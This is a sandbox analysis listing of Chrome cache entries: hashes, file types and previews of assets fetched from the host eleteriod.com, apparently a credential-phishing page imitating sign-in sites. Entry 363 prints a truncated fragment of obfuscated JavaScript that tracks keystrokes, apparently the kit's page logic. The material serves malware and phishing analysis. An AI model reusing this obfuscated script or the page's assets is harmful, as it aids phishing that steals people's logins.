SSDEEP:	192:cdEMK4RwidEMK4Rwbwm6xiD7x9m9t6EQ3FabrItDWOO6DcA:cdEMVwidEMVwbwtxiDHmP6lFeItDWOOc
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/ijOG38jlE3Csa6VPdagQNh1ZGRw9wxNGNrENQrVC1wpG35UrCP3956170
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 361

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 362

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2160 x 443, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	49602
Entropy (8bit):	7.881935507115631
Encrypted:	false
SSDEEP:	768:eKE36up1D3cLJg7zmjprNBQqJCoklwCeFrpKZ00PIwoftXEsQsV1kZ8IHml446Xe:KqupJ9+aqyqCz+0ALcmDIHnjL2p
MD5:	DB783743CD246FF4D77F4A3694285989
SHA1:	B9466716904457641B7831868B47162D8D378D41
SHA-256:	5913B1EC0FC58AB2BEC576804B9E9B566A584EA3D21A1BF74A7B40051A447FDC
SHA-512:	E6F36C52996B6BF8B07C7A102DEF2D555A1D35FA12F1A2016EDD8F3C86C33DD3545513B436AB6B4EF1D1CAD8A5CA5D352BA587EEE605638640B258C3976D9033
Malicious:	false
Preview:	.PNG........IHDR...p..........{......sBIT....\|.d.....pHYs..;...;...3.+....tEXtSoftware.www.inkscape.org..<... .IDATx...w.]U....L.I(!.B..J..R....PD.z-.(...4Q..MQ. .(..EE.AP:.....HI.... ....ur3..r.Y.\|....z..3.2.g..{..Y.V..6.u...U...Q.Z.X......m..........^......O.^l......Y.)`\|...:......x.:."0r...H.W.....,.......j.....L%]s../4.>.<.........S.$I.$I.$I.T.....(`s`S`.`C`mR..J...6.x.x.x..z9.......g..j}R...h.1.t]=....n..#.f.I.$I.$I.$I%c.G.. 5il.l.lCj.(S.F;.....7...AZ.@B....%.E....C.be3..K....S."CI.$I.$I.$I...jV.v.v.v$5l..M.ysI......x{/i...Y...o..m.......v.6.>R..$I.$I.$I.......F.{..6v!...1{.Y..9ng...S..TF.I..;.o&5A.....&.w....$5J..M$I.$I.$I.$.........Q;..IQ...9n.nl.Z.e.......j.`hd..{..=p-p=n."I.$I.$I.$eg.G...........8...i......b. [.{.V.........V...96GI.$I.$I.$IY...c ..R...Q.q..,..........Gm........X=6NW......clp.I.$I.$I.$IZ..g...s...c...F.A.<z*.Q.a...+.?....8.Xn.GO.$I.$I.$I..,O.l....@.....z.....R..a$.:...I.yb-....l....$I.$I.$I.$.....$.'S..j.p..3NBGX..M.3.?.......p$I.$

Chrome Cache Entry: 363

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	109447
Entropy (8bit):	5.202931520634447
Encrypted:	false
SSDEEP:	1536:4iw5DZ5Mp2uCTtRJtG5DYg5MPV5DRAQDg5MmGHNVX01TV2:4iwxrrpQGH3X0v2
MD5:	6FA824258E75FC1AA9FE70E01F42C103
SHA1:	D300AE28C77583E3C987994189874FF678C13581
SHA-256:	EE735A7D85B57253E54CA248BF2B2856BCFC03F5D2043AC86DFCF90E404601EE
SHA-512:	E72004FC9A3AFD7D5A1B620A3580E57D0EEBCA03A2270A54C5C749924E58746B0823EBF06AE10E91B3FF0DC929530535DB429C1A0E0C18E7EB0BDBCEC29C7FFD
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/56P6RmVW07q5q2IzmAMROCmNGghm8kh7E6A89106
Preview:	const _0x146162=_0x487c;(function(_0x4db690,_0xbf335f){const _0x32316e=_0x487c,_0x317f2a=_0x4db690();while(!![]){try{const _0x39212f=parseInt(_0x32316e(0x14e))/0x1(-parseInt(_0x32316e(0x1f0))/0x2)+parseInt(_0x32316e(0xa5))/0x3+-parseInt(_0x32316e(0xf3))/0x4+-parseInt(_0x32316e(0xb3))/0x5+-parseInt(_0x32316e(0xaf))/0x6+parseInt(_0x32316e(0x123))/0x7(parseInt(_0x32316e(0x19d))/0x8)+parseInt(_0x32316e(0xdf))/0x9;if(_0x39212f===_0xbf335f)break;else _0x317f2a['push'](_0x317f2a['shift']());}catch(_0x14f974){_0x317f2a['push'](_0x317f2a['shift']());}}}(_0x1559,0xdef7b));var webnotfound=![],otherweburl='',interacted=0x0,multipleaccountsback=0x0;!document[_0x146162(0xbb)]('sections')[_0x146162(0xb2)][_0x146162(0x19e)](_0x146162(0x127))&&(view=_0x146162(0xb9));document['getElementById'](_0x146162(0x208))&&!document[_0x146162(0xbb)](_0x146162(0x208))[_0x146162(0xb2)][_0x146162(0x19e)](_0x146162(0x127))&&(view=_0x146162(0xc2));document[_0x146162(0x12e)]('keyup',function(_0x2e5733){const _0x5eece2

Chrome Cache Entry: 364

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	76
Entropy (8bit):	4.631455882779888
Encrypted:	false
SSDEEP:	3:xPW1skF0NuiQMnumOPIOAyP2MR:xPWmJumOPzAo2C
MD5:	55D6D0CAE462E2BC690BC8AF45985B15
SHA1:	0AD644096680FB01BFD9AF1CFE5F6E68911EA01F
SHA-256:	2E5AE61757DB10E0E3770407B68ADE329068C840070A02F119C9EBE296194043
SHA-512:	A929EE066B9150F1DC864A38FC1BF7D1F69B560CF6C123C0709EC983581B0B5F37360B3F318CA78EC9A3755C592A2928FA882CB34F160381ADA5A148B0786BCA
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSMwn9M58cFNOpzxIFDc8jKv8SBQ3Fk8QkEgUNiaVnyxIFDcMZOZASBQ3QAkDsEgUNqF3jdA==?alt=proto
Preview:	CjYKBw3PIyr/GgAKBw3Fk8QkGgAKBw2JpWfLGgAKBw3DGTmQGgAKBw3QAkDsGgAKBw2oXeN0GgA=

Chrome Cache Entry: 365

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1437), with CRLF line terminators
Category:	downloaded
Size (bytes):	38221
Entropy (8bit):	5.115226983536052
Encrypted:	false
SSDEEP:	192:loogIexLQ5WKTCFBwCIZtJ8FtX2+UBRkfeWcrScuH9Ye3YdersR8Q5oqWjf7ogxp:2DKAaZtJs5odw7hx5P6mqjDggJkLLn
MD5:	FBE2FCF4596B299453C91B7231BA7427
SHA1:	743291EE60A551E043529AFDC9E3FBE72D70E776
SHA-256:	2DE22B4CDEDCBEB9CD5F63EA7A0DF8F77D0EF9086D200B052BFA9EE949DEED40
SHA-512:	15CA09CD5754927D77B2CC9B74356585C5A1DD934ECF25B613F47964236A739DA8BE389999DE1AEEE7BDF8FA12FCBB07EEFF49E0EA80BA87AC786606DE74774F
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/aberie6jZkbpqVFEef25
Preview:	@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 400;src: url('/web8/assets/fonts/GDSherpa-regular.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-regular.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 999;src: url('/web8/assets/fonts/GDSherpa-vf.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gd-sage';font-weight: 700;src: url('/web8/ass

Chrome Cache Entry: 366

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1400
Entropy (8bit):	7.808470583085035
Encrypted:	false
SSDEEP:	24:rIcdIg4GFKiUqLRfqX5Cbg2tRSpGHM0RMrB6nzU9Jd28VVdYfWZG0rrZgqhpT:rHUZGRNEoSpGHMTrB6zUXdNVSi1b
MD5:	333EE830E5AB72C41DD9126A27B4D878
SHA1:	12D8D66EBB3076F3D6069E133C3212F97C8774E1
SHA-256:	8702292CBC365E9F0488143E2B309B85EFE09C61FD2E0A2E21C53735A309313C
SHA-512:	3413ED624241877C1D44FEE23FD37745CB214C12AE73FACFAFA07B47FA1CB9E5DAA3CB7F542564E04075FFE8BA744C962FBDD78F08A643A90C0EC1118C05BBF8
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/ijzMs0cz14Ykf4YeICAFuTHWbFbbJHCA5mZLgEiNPVxzipqrcsEibC8DNKk2zdEbovEab228
Preview:	.PNG........IHDR...l................?IDAThC.X.n.A..K.. ..H8.....7P..p...&......>..4.'.y.`$Z...$1..9..;...w.\|...zvvv.............b..Y....B...Dq..&\....pe..r.X.P...3.n...M.j.....+..r}}.t:...fa.mmm5U........)dwww...j...q<<<<L.}ggg.......k.O.?....^.gE.6....B..%U..w#H...y....~......h.....Q.E;.....T...E.W..X=..{.;..+.. ..`.(:2...A..U.....Y....z..l.r.S..<K...x.E.... .....U.,.`.....<::............MSiE.2w.!z.T...PWl.).0...Z....Z.'~.5zP.o..-. ......q..x..w.....y......5\|v..i...........@w.c...j..3....w,/.3.).....u.......b.}..R........ `......`mH$.U..B.H1...jx..3..$k ...........Z......4....A.>..X.a/...0N.&?q..........F#w&o."L:...l.c...x.P...@e..&.&\|Y...!.i....gac..1C.....I..t...e~q.&.6.2B.}.V.p.B.."...'..M..s.s.....V%-.?8yC.?m......z...&]\.VN.s....j.`....kY.....64.Y..(_ea[.r...1B.......5....i.u.......aQ.+z.x.......<,~..a...z,.I.T.b.P.^.`...y.58..,\|Q...u.-.._....m.1...\|k.j.7.,x.....X....ez..a....X...\E.$..-...s.../.9L.9.(9..U...x$#.C...Nm...p.....J...

Chrome Cache Entry: 367

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45667)
Category:	downloaded
Size (bytes):	45806
Entropy (8bit):	5.207605835316031
Encrypted:	false
SSDEEP:	384:1ZS0CCnasl8gRR/PoPez+iCMN0Fkiw2Jh4RWdRGhAjbp2ChPL8cYRGv5MRUK6np9:/CCnVl7tUkBxkdRGOfDiY5C5MAn5GY2
MD5:	80F5B8C6A9EEAC15DE93E5A112036A06
SHA1:	F7174635137D37581B11937FC90E9CB325077BCE
SHA-256:	0401DE33701F1CAD16ECF952899D23990B6437D0A5B7335524EDF6BDFB932542
SHA-512:	B976A5F02202439D94C6817D037C813FA1945C6BB93762284D97FF61718C5B833402F372562034663A467FDBAA46990DE24CB1E356392340E64D034E4BA1B4E4
Malicious:	false
URL:	https://cdn.socket.io/4.6.0/socket.io.min.js
Preview:	/!. Socket.IO v4.6.0. * (c) 2014-2023 Guillermo Rauch. * Released under the MIT License.. */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).io=e()}(this,(function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function n(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function r(t,e,r){return e&&n(t.prototype,e),r&&n(t,r),Object.defineProperty(t,"prototype",{writable:!1}),t}function i(){return i=Object.assign?Object.assign.bind():function(t){for(var e=

Chrome Cache Entry: 368

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 369

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1400
Entropy (8bit):	7.808470583085035
Encrypted:	false
SSDEEP:	24:rIcdIg4GFKiUqLRfqX5Cbg2tRSpGHM0RMrB6nzU9Jd28VVdYfWZG0rrZgqhpT:rHUZGRNEoSpGHMTrB6zUXdNVSi1b
MD5:	333EE830E5AB72C41DD9126A27B4D878
SHA1:	12D8D66EBB3076F3D6069E133C3212F97C8774E1
SHA-256:	8702292CBC365E9F0488143E2B309B85EFE09C61FD2E0A2E21C53735A309313C
SHA-512:	3413ED624241877C1D44FEE23FD37745CB214C12AE73FACFAFA07B47FA1CB9E5DAA3CB7F542564E04075FFE8BA744C962FBDD78F08A643A90C0EC1118C05BBF8
Malicious:	false
Preview:	.PNG........IHDR...l................?IDAThC.X.n.A..K.. ..H8.....7P..p...&......>..4.'.y.`$Z...$1..9..;...w.\|...zvvv.............b..Y....B...Dq..&\....pe..r.X.P...3.n...M.j.....+..r}}.t:...fa.mmm5U........)dwww...j...q<<<<L.}ggg.......k.O.?....^.gE.6....B..%U..w#H...y....~......h.....Q.E;.....T...E.W..X=..{.;..+.. ..`.(:2...A..U.....Y....z..l.r.S..<K...x.E.... .....U.,.`.....<::............MSiE.2w.!z.T...PWl.).0...Z....Z.'~.5zP.o..-. ......q..x..w.....y......5\|v..i...........@w.c...j..3....w,/.3.).....u.......b.}..R........ `......`mH$.U..B.H1...jx..3..$k ...........Z......4....A.>..X.a/...0N.&?q..........F#w&o."L:...l.c...x.P...@e..&.&\|Y...!.i....gac..1C.....I..t...e~q.&.6.2B.}.V.p.B.."...'..M..s.s.....V%-.?8yC.?m......z...&]\.VN.s....j.`....kY.....64.Y..(_ea[.r...1B.......5....i.u.......aQ.+z.x.......<,~..a...z,.I.T.b.P.^.`...y.58..,\|Q...u.-.._....m.1...\|k.j.7.,x.....X....ez..a....X...\E.$..-...s.../.9L.9.(9..U...x$#.C...Nm...p.....J...

Chrome Cache Entry: 370

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/mnE9XqQd7cwqeoHDOHNYdiJtyPkloVeKQZ2voYzCFSgjKIkn2oSmCsuv216
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 371

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/mnrFuJOn3OoQnVImGSxPaFLthftkl2i6STz3nocxfNzRiIw78143
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 372

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 373

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
Category:	downloaded
Size (bytes):	28000
Entropy (8bit):	7.99335735457429
Encrypted:	true
SSDEEP:	768:NDT1rKvlJOE1AgLlnGj8H58AJUcl5I17ML7FfNHubNIphqb:NDtKvyAhjHeACcl21YL7KNW+
MD5:	A4BCA6C95FED0D0C5CC46CF07710DCEC
SHA1:	73B56E33B82B42921DB8702A33EFD0F2B2EC9794
SHA-256:	5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
SHA-512:	60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/pqOXwEJDxFZyzN1auv36
Preview:	wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...\|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..\|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[\|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,......e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.\|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..\|.`...5:.Yd@]..j..$...v.

Chrome Cache Entry: 374

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (855)
Category:	downloaded
Size (bytes):	534860
Entropy (8bit):	5.706034030348218
Encrypted:	false
SSDEEP:	6144:wwEiDOrwHRo6Zo/S+d6yetdYQ7eTlMXWwcqW61L+KUEIPw6jHS8NR0bXbFujbvjX:w2i6Zo/SQKDWTlMXllIsIPw6jUbyrIi
MD5:	4668E74B2B2A58381399E91A61B6D63D
SHA1:	89EBF54E996E46F4B1E26F6DCDA93BAD74FC0A1C
SHA-256:	B0E3ACC54460721385D2E472DDA7288382F2766A06B38D2E732D034619F9B929
SHA-512:	B2EAD3410DEA89B658BFB0CE67842569641CD6C29889ECFB223A83637600B82B0D2E55CEC26750593359663A22896F5DA91D3DF9F085C204803CD646A7CABC28
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/releases/joHA60MeME-PNviL59xVH9zs/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 375

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 376

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
